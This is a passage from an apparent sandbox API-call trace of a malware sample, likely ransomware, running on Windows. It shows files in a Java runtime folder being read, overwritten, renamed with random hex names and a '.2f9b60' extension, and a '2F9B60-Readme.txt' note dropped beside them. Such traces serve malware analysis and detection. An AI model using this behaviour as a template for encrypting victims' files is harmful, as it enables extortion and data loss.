_Dest="5e") returned 2 [0164.959] sprintf (in: _Dest=0x1cd9ff90, _Format="%c%c" | out: _Dest="80") returned 2 [0164.959] sprintf (in: _Dest=0x1cd9ff92, _Format="%c%c" | out: _Dest="38") returned 2 [0164.959] sprintf (in: _Dest=0x1cd9ff94, _Format="%c%c" | out: _Dest="f2") returned 2 [0164.959] sprintf (in: _Dest=0x1cd9ff96, _Format="%c%c" | out: _Dest="c6") returned 2 [0164.959] sprintf (in: _Dest=0x1cd9ff98, _Format="%c%c" | out: _Dest="21") returned 2 [0164.959] sprintf (in: _Dest=0x1cd9ff9a, _Format="%c%c" | out: _Dest="66") returned 2 [0164.959] RtlInitAnsiString (in: DestinationString=0x36d8fcc8, SourceString="504042302c249f2d756727375512155e8038f2c62166" | out: DestinationString="504042302c249f2d756727375512155e8038f2c62166") [0164.959] RtlAnsiStringToUnicodeString (in: DestinationString=0x36d8fc98, SourceString="504042302c249f2d756727375512155e8038f2c62166", AllocateDestinationString=1 | out: DestinationString="504042302c249f2d756727375512155e8038f2c62166") returned 0x0 [0164.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ce14f10 [0164.960] RtlFreeAnsiString (AnsiString="5") [0164.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ff70) returned 1 [0164.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d180) returned 1 [0164.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500bf0) returned 1 [0164.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c177f0) returned 1 [0164.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19d10) returned 1 [0164.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19d40) returned 1 [0164.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19ce0) returned 1 [0164.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500a70) returned 1 [0164.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205009b0) returned 1 [0164.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500b00) returned 1 [0164.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500b30) returned 1 [0164.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b8692c0 [0164.962] wcscat (in: _Dest=0x1b8692c0, _Source="504042302c2" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\504042302c2") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\504042302c2" [0164.962] wcscat (in: _Dest=0x1b8692c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\504042302c2.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\504042302c2.2f9b60" [0164.962] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\504042302c2.2f9b60", NtPathName=0x36d8fc70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\504042302c2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x42c30a90 [0165.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c30a90) returned 1 [0165.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c34a20) returned 1 [0165.041] NtQueryInformationFile (in: FileHandle=0x25e8, IoStatusBlock=0x36d8fcd8, FileInformation=0x36d8fce8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x36d8fcd8, FileInformation=0x36d8fce8) returned 0x0 [0165.041] NtSetInformationFile (FileHandle=0x25e8, IoStatusBlock=0x36d8fcd8, FileInformation=0x36d8fce8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.076] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8692c0) returned 1 [0165.077] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce14f10) returned 1 [0165.077] FlushFileBuffers (hFile=0x25e8) returned 1 [0166.265] CloseHandle (hObject=0x25e8) returned 1 [0183.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b867c40 [0183.998] wcscpy (in: _Dest=0x1b867c40, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\" [0183.998] wcscat (in: _Dest=0x1b867c40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\2F9B60-Readme.txt" [0183.999] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfr\\2f9b60-readme.txt")) returned 0xffffffff [0183.999] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfr\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ae8 [0192.681] WriteFile (in: hFile=0x2ae8, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x36d8fb90, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x36d8fb90*=0xba9, lpOverlapped=0x0) returned 1 [0203.019] CloseHandle (hObject=0x2ae8) returned 1 [0207.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867c40) returned 1 [0207.857] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420619b0) returned 1 [0207.857] FindNextFileW (in: hFindFile=0x1cd9d910, lpFindFileData=0x2027f8c0 | out: lpFindFileData=0x2027f8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4863, dwReserved0=0x0, dwReserved1=0x0, cFileName="profile.jfc", cAlternateFileName="")) returned 1 [0207.857] wcscmp (_String1="profile.jfc", _String2=".") returned 1 [0207.857] wcscmp (_String1="profile.jfc", _String2="..") returned 1 [0207.857] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x420619b0 [0207.858] wcscpy (in: _Dest=0x420619b0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr" [0207.858] wcscat (in: _Dest=0x420619b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\" [0207.858] wcscat (in: _Dest=0x420619b0, _Source="profile.jfc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\profile.jfc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\profile.jfc" [0209.267] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfr\\profile.jfc")) returned 0x20 [0209.267] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\profile.jfc", dwFileAttributes=0x20) returned 1 [0209.268] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfr\\profile.jfc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1200 [0209.269] GetFileSizeEx (in: hFile=0x1200, lpFileSize=0x36d8fc80 | out: lpFileSize=0x36d8fc80*=18531) returned 1 [0209.269] SetFilePointerEx (in: hFile=0x1200, liDistanceToMove=0x485f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.269] ReadFile (in: hFile=0x1200, lpBuffer=0x36d8fc00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x36d8fc48, lpOverlapped=0x0 | out: lpBuffer=0x36d8fc00*, lpNumberOfBytesRead=0x36d8fc48*=0x4, lpOverlapped=0x0) returned 1 [0209.278] SetFilePointerEx (in: hFile=0x1200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa10 [0209.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abc70 [0209.278] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab0a0 [0209.279] NtQuerySystemTime (in: CurrentTime=0x36d8fb40 | out: CurrentTime=0x36d8fb40*=132462178141486000) returned 0x0 [0209.279] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x62fd69ca [0209.279] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x4e9328f0 [0209.279] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x29a8b2c7 [0209.279] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x6c477506 [0209.279] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x4128b8bf [0209.279] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x1447df15 [0209.279] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x610507ee [0209.279] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x731c06da [0209.279] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x274fed98 [0209.279] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x49977d09 [0209.279] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x4613a094 [0209.279] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x184eed3b [0209.279] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x7c8b1bcb [0209.279] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x57ebbb0e [0209.279] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x516cd8bb [0209.279] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x48c0b2d0 [0209.279] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x6c5921 [0209.279] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x38e437e1 [0209.279] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x5096de9 [0209.279] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x287b8f3b [0209.279] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x5a5ec0ff [0209.279] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x12236dc0 [0209.279] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x2900b4c7 [0209.279] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x4a73519a [0209.279] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x5744a5d0 [0209.279] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x3e39927f [0209.280] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x2201623a [0209.280] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x6b23024c [0209.280] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x43e442e5 [0209.280] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x8564576 [0209.280] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x7f503911 [0209.280] RtlRandomEx (in: Seed=0x36d8fb30 | out: Seed=0x36d8fb30) returned 0x30d73ffd [0209.280] SetFilePointerEx (in: hFile=0x1200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.280] ReadFile (in: hFile=0x1200, lpBuffer=0x42dbf4c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x36d8fba0, lpOverlapped=0x0 | out: lpBuffer=0x42dbf4c0*, lpNumberOfBytesRead=0x36d8fba0*=0x3c00, lpOverlapped=0x0) returned 1 [0209.285] SetFilePointerEx (in: hFile=0x1200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0209.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc00 [0209.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e570 [0209.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa10 [0209.288] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa10) returned 1 [0209.288] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42db7ca0 [0209.288] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa10 [0209.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab0a0 [0209.289] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab0a0) returned 1 [0209.290] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e570) returned 1 [0209.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc00) returned 1 [0209.291] WriteFile (in: hFile=0x1200, lpBuffer=0x42db7ca0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x36d8fba0, lpOverlapped=0x0 | out: lpBuffer=0x42db7ca0*, lpNumberOfBytesWritten=0x36d8fba0*=0x3c00, lpOverlapped=0x0) returned 1 [0216.285] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42db7ca0) returned 1 [0216.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42dbf4c0) returned 1 [0216.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20266660 [0216.287] SetFilePointerEx (in: hFile=0x1200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0216.287] WriteFile (in: hFile=0x1200, lpBuffer=0x431a94f0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x36d8fc50, lpOverlapped=0x0 | out: lpBuffer=0x431a94f0*, lpNumberOfBytesWritten=0x36d8fc50*=0x108, lpOverlapped=0x0) returned 1 [0219.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61e70 [0219.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868c40 [0219.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8bc0 [0219.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8bc0) returned 1 [0219.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cfe0 [0219.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8bc0 [0219.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8d10 [0219.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8d10) returned 1 [0219.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868c40) returned 1 [0219.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61e70) returned 1 [0219.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f2f0 [0219.428] sprintf (in: _Dest=0x1cd9f2f0, _Format="%c%c" | out: _Dest="a8") returned 2 [0219.428] sprintf (in: _Dest=0x1cd9f2f2, _Format="%c%c" | out: _Dest="74") returned 2 [0219.428] sprintf (in: _Dest=0x1cd9f2f4, _Format="%c%c" | out: _Dest="bf") returned 2 [0219.428] sprintf (in: _Dest=0x1cd9f2f6, _Format="%c%c" | out: _Dest="36") returned 2 [0219.428] sprintf (in: _Dest=0x1cd9f2f8, _Format="%c%c" | out: _Dest="4f") returned 2 [0219.428] sprintf (in: _Dest=0x1cd9f2fa, _Format="%c%c" | out: _Dest="6d") returned 2 [0219.428] sprintf (in: _Dest=0x1cd9f2fc, _Format="%c%c" | out: _Dest="0f") returned 2 [0219.428] sprintf (in: _Dest=0x1cd9f2fe, _Format="%c%c" | out: _Dest="36") returned 2 [0219.428] sprintf (in: _Dest=0x1cd9f300, _Format="%c%c" | out: _Dest="54") returned 2 [0219.428] sprintf (in: _Dest=0x1cd9f302, _Format="%c%c" | out: _Dest="16") returned 2 [0219.428] sprintf (in: _Dest=0x1cd9f304, _Format="%c%c" | out: _Dest="11") returned 2 [0219.428] sprintf (in: _Dest=0x1cd9f306, _Format="%c%c" | out: _Dest="85") returned 2 [0219.428] sprintf (in: _Dest=0x1cd9f308, _Format="%c%c" | out: _Dest="37") returned 2 [0219.428] sprintf (in: _Dest=0x1cd9f30a, _Format="%c%c" | out: _Dest="65") returned 2 [0219.428] sprintf (in: _Dest=0x1cd9f30c, _Format="%c%c" | out: _Dest="1f") returned 2 [0219.428] sprintf (in: _Dest=0x1cd9f30e, _Format="%c%c" | out: _Dest="fb") returned 2 [0219.428] sprintf (in: _Dest=0x1cd9f310, _Format="%c%c" | out: _Dest="e4") returned 2 [0219.428] sprintf (in: _Dest=0x1cd9f312, _Format="%c%c" | out: _Dest="59") returned 2 [0219.428] sprintf (in: _Dest=0x1cd9f314, _Format="%c%c" | out: _Dest="65") returned 2 [0219.428] sprintf (in: _Dest=0x1cd9f316, _Format="%c%c" | out: _Dest="ef") returned 2 [0219.428] sprintf (in: _Dest=0x1cd9f318, _Format="%c%c" | out: _Dest="af") returned 2 [0219.428] sprintf (in: _Dest=0x1cd9f31a, _Format="%c%c" | out: _Dest="ea") returned 2 [0219.428] RtlInitAnsiString (in: DestinationString=0x36d8fcc8, SourceString="a874bf364f6d0f365416118537651ffbe45965efafea" | out: DestinationString="a874bf364f6d0f365416118537651ffbe45965efafea") [0219.428] RtlAnsiStringToUnicodeString (in: DestinationString=0x36d8fc98, SourceString="a874bf364f6d0f365416118537651ffbe45965efafea", AllocateDestinationString=1 | out: DestinationString="a874bf364f6d0f365416118537651ffbe45965efafea") returned 0x0 [0219.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b7a3260 [0219.429] wcscat (in: _Dest=0x1b868c40, _Source="a874bf364f6" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\a874bf364f6") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\a874bf364f6" [0219.429] wcscat (in: _Dest=0x1b868c40, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\a874bf364f6.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\a874bf364f6.2f9b60" [0219.429] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\a874bf364f6.2f9b60", NtPathName=0x36d8fc70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\a874bf364f6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0219.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x431cb080 [0224.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431cb080) returned 1 [0224.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43082640) returned 1 [0224.025] NtQueryInformationFile (in: FileHandle=0x1200, IoStatusBlock=0x36d8fcd8, FileInformation=0x36d8fce8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x36d8fcd8, FileInformation=0x36d8fce8) returned 0x0 [0224.025] NtSetInformationFile (FileHandle=0x1200, IoStatusBlock=0x36d8fcd8, FileInformation=0x36d8fce8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0225.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868c40) returned 1 [0225.271] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3260) returned 1 [0225.271] FlushFileBuffers (hFile=0x1200) returned 1 [0225.548] CloseHandle (hObject=0x1200) returned 1 [0225.982] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x20504310 [0225.983] wcscpy (in: _Dest=0x20504310, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\" [0225.983] wcscat (in: _Dest=0x20504310, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\2F9B60-Readme.txt" [0225.983] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfr\\2f9b60-readme.txt")) returned 0x20 [0225.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504310) returned 1 [0225.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420619b0) returned 1 [0225.984] FindNextFileW (in: hFindFile=0x1cd9d910, lpFindFileData=0x2027f8c0 | out: lpFindFileData=0x2027f8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74496dc0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74496dc0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4863, dwReserved0=0x0, dwReserved1=0x0, cFileName="profile.jfc", cAlternateFileName="")) returned 0 [0225.984] FindClose (in: hFindFile=0x1cd9d910 | out: hFindFile=0x1cd9d910) returned 1 [0225.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027f8c0) returned 1 [0225.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6520) returned 1 [0225.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9c310) returned 1 Thread: id = 2084 os_tid = 0x13ac [0138.408] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfr.jar")) returned 0x20 [0140.428] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr.jar", dwFileAttributes=0x20) returned 1 [0140.826] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jfr.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfr.jar"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f8c [0141.898] GetFileSizeEx (in: hFile=0x1f8c, lpFileSize=0x364efaa0 | out: lpFileSize=0x364efaa0*=532559) returned 1 [0141.898] SetFilePointerEx (in: hFile=0x1f8c, liDistanceToMove=0x8204b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.898] ReadFile (in: hFile=0x1f8c, lpBuffer=0x364efa20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x364efa68, lpOverlapped=0x0 | out: lpBuffer=0x364efa20*, lpNumberOfBytesRead=0x364efa68*=0x4, lpOverlapped=0x0) returned 1 [0141.927] SetFilePointerEx (in: hFile=0x1f8c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.927] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe470 [0141.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe0e0 [0141.928] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd7e0 [0141.928] NtQuerySystemTime (in: CurrentTime=0x364ef960 | out: CurrentTime=0x364ef960*=132462177471622000) returned 0x0 [0141.928] RtlRandomEx (in: Seed=0x364ef950 | out: Seed=0x364ef950) returned 0x6fc2ed7b [0141.928] RtlRandomEx (in: Seed=0x364ef950 | out: Seed=0x364ef950) returned 0x4aa2ebf9 [0141.928] RtlRandomEx (in: Seed=0x364ef950 | out: Seed=0x364ef950) returned 0x6e6c4869 [0141.928] RtlRandomEx (in: Seed=0x364ef950 | out: Seed=0x364ef950) returned 0x68efaa86 [0141.928] RtlRandomEx (in: Seed=0x364ef950 | out: Seed=0x364ef950) returned 0x7addbd94 [0141.928] RtlRandomEx (in: Seed=0x364ef950 | out: Seed=0x364ef950) returned 0xca0e35c [0141.928] RtlRandomEx (in: Seed=0x364ef950 | out: Seed=0x364ef950) returned 0x3ab7c50e [0141.928] RtlRandomEx (in: Seed=0x364ef950 | out: Seed=0x364ef950) returned 0x5a9e5378 [0141.928] RtlRandomEx (in: Seed=0x364ef950 | out: Seed=0x364ef950) returned 0x7e4e3f82 [0141.928] RtlRandomEx (in: Seed=0x364ef950 | out: Seed=0x364ef950) returned 0x5cbacac9 [0141.929] RtlRandomEx (in: Seed=0x364ef950 | out: Seed=0x364ef950) returned 0x18218797 [0141.929] RtlRandomEx (in: Seed=0x364ef950 | out: Seed=0x364ef950) returned 0x34227174 [0141.929] RtlRandomEx (in: Seed=0x364ef950 | out: Seed=0x364ef950) returned 0x6f4d8a0f [0141.929] RtlRandomEx (in: Seed=0x364ef950 | out: Seed=0x364ef950) returned 0x680b5510 [0141.929] RtlRandomEx (in: Seed=0x364ef950 | out: Seed=0x364ef950) returned 0x694eb835 [0141.929] RtlRandomEx (in: Seed=0x364ef950 | out: Seed=0x364ef950) returned 0x1000def7 [0141.929] RtlRandomEx (in: Seed=0x364ef950 | out: Seed=0x364ef950) returned 0x75904e25 [0141.929] RtlRandomEx (in: Seed=0x364ef950 | out: Seed=0x364ef950) returned 0x1968d801 [0141.929] RtlRandomEx (in: Seed=0x364ef950 | out: Seed=0x364ef950) returned 0x2f340495 [0141.929] RtlRandomEx (in: Seed=0x364ef950 | out: Seed=0x364ef950) returned 0x75f4a0d5 [0141.929] RtlRandomEx (in: Seed=0x364ef950 | out: Seed=0x364ef950) returned 0x44874a5b [0141.929] RtlRandomEx (in: Seed=0x364ef950 | out: Seed=0x364ef950) returned 0x119ef286 [0141.929] RtlRandomEx (in: Seed=0x364ef950 | out: Seed=0x364ef950) returned 0x1e7f888e [0141.929] RtlRandomEx (in: Seed=0x364ef950 | out: Seed=0x364ef950) returned 0x6c2d47aa [0141.929] RtlRandomEx (in: Seed=0x364ef950 | out: Seed=0x364ef950) returned 